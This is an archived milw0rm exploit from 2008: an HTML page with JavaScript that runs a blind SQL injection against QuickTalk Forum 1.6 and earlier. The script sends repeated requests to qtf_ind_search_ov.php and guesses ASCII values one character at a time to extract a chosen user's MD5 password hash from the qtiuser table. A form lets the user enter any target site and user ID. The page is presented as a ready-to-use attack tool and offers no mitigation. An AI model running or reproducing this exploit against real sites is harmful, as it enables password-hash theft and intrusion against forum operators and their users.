QuickTalk Forum <= 1.6 - Remote Blind SQL Injection Exploit

&#60;html&#62; &#60;head&#62; &#60;title&#62;QuickTalk Forum &#60;= 1.6 Blind SQL Injection Exploit&#60;/title&#62; &#60;script language=&#34;Javascript&#34; type=&#34;text/javascript&#34;&#62; /* ----------------------------------------------------------------------------------------------- - QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) - - Info --------------------------------------------------------------------------------------- - Author: t0pP8uZz & xprog ----------------------------------------------------------- - Exploit Coded By t0pP8uZz --------------------------------------------------------- - Site: h4ck-y0u.org / milw0rm.com ------------------------------------------------ ---------------------------------------------------------------------------------------------- - Passwords ARE IN MD5 ---------------------------------------------------- - Peace ----------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------- */ var site, uid, res = &#34;&#34;; function Start() { site = document.getElementById(&#34;site&#34;).value; uid = document.getElementById(&#34;pid&#34;).value; document.getElementById(&#34;output&#34;).value = &#34;Exploiting, Please Wait..&#34;; Main(1, 48); } function Main(substr, num) { var xmlhttp = false; var url = site+&#34;/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id=&#34;+uid+&#34; LIMIT 0,1),&#34;+substr+&#34;,1))=&#34;+num+&#34;/*&#34;; try { xmlhttp = new XMLHttpRequest(); } catch(e) { alert(&#34;Unsupported Browser! Run Exploit In Mozilla Firefox!&#34;); } if(xmlhttp) { netscape.security.PrivilegeManager.enablePrivilege(&#34;UniversalBrowserRead&#34;); xmlhttp.onreadystatechange = function() { if(xmlhttp.readyState == 4) { var content = xmlhttp.responseText; var ele = document.getElementById(&#34;output&#34;); if(!content.match(/0 Found/i)) { res += String.fromCharCode(num); ele.value = res; num = 48; substr++; } else { if(num == 59) { num = 96; } else { num++; } } if(res.length &#62;= 32) { alert(&#34;Exploitation Successfull!. Admin MD5 Hash: &#34;+res); return true; } Main(substr, num) } }; xmlhttp.open(&#34;GET&#34;, url, true); xmlhttp.send(null); } } &#60;/script&#62; &#60;style type=&#34;text/css&#34;&#62; &#60;!-- .style1{color: #CC0000} .style2 { color: #000000; font-size: 12px;} .style3 {color: #FF0000; font-weight: bold; font-size: 12px; } .style4 {color: #FF0000; font-size: 10px;} --&#62; &#60;/style&#62; &#60;/head&#62; &#60;body&#62; &#60;p class=&#34;style1&#34;&#62;- QuickTalk Forum &#60;= 1.6 Blind SQL Injection Exploit -&#60;/p&#62; &#60;p class=&#34;style2&#34;&#62;Site: &#60;input type=&#34;text&#34; id=&#34;site&#34; /&#62; (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)&#60;/p&#62; &#60;p class=&#34;style2&#34;&#62;User: &#60;input type=&#34;text&#34; id=&#34;pid&#34; /&#62; (UserID of the user you want the MD5 hash too.)&#60;/p&#62; &#60;p class=&#34;style2&#34;&#62;&#60;input type=&#34;button&#34; onclick=&#34;Start();&#34; id=&#34;button&#34; value=&#34;Exploit&#34; /&#62;&#60;/p&#62; &#60;p class=&#34;style3&#34;&#62;Output (MD5 Hash): &#60;input type=&#34;text&#34; id=&#34;output&#34; size=&#34;100&#34; /&#62;&#60;/p&#62; (Do not touch untill exploit says its done) &#60;p class=&#34;style2&#34;&#62;Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords&#60;/p&#62; &#60;p class=&#34;style4&#34;&#62;Coded By t0pP8uZz - h4ck-y0u.org&#60;/p&#62; &#60;/body&#62; &#60;/html&#62; # milw0rm.com [2008-03-12]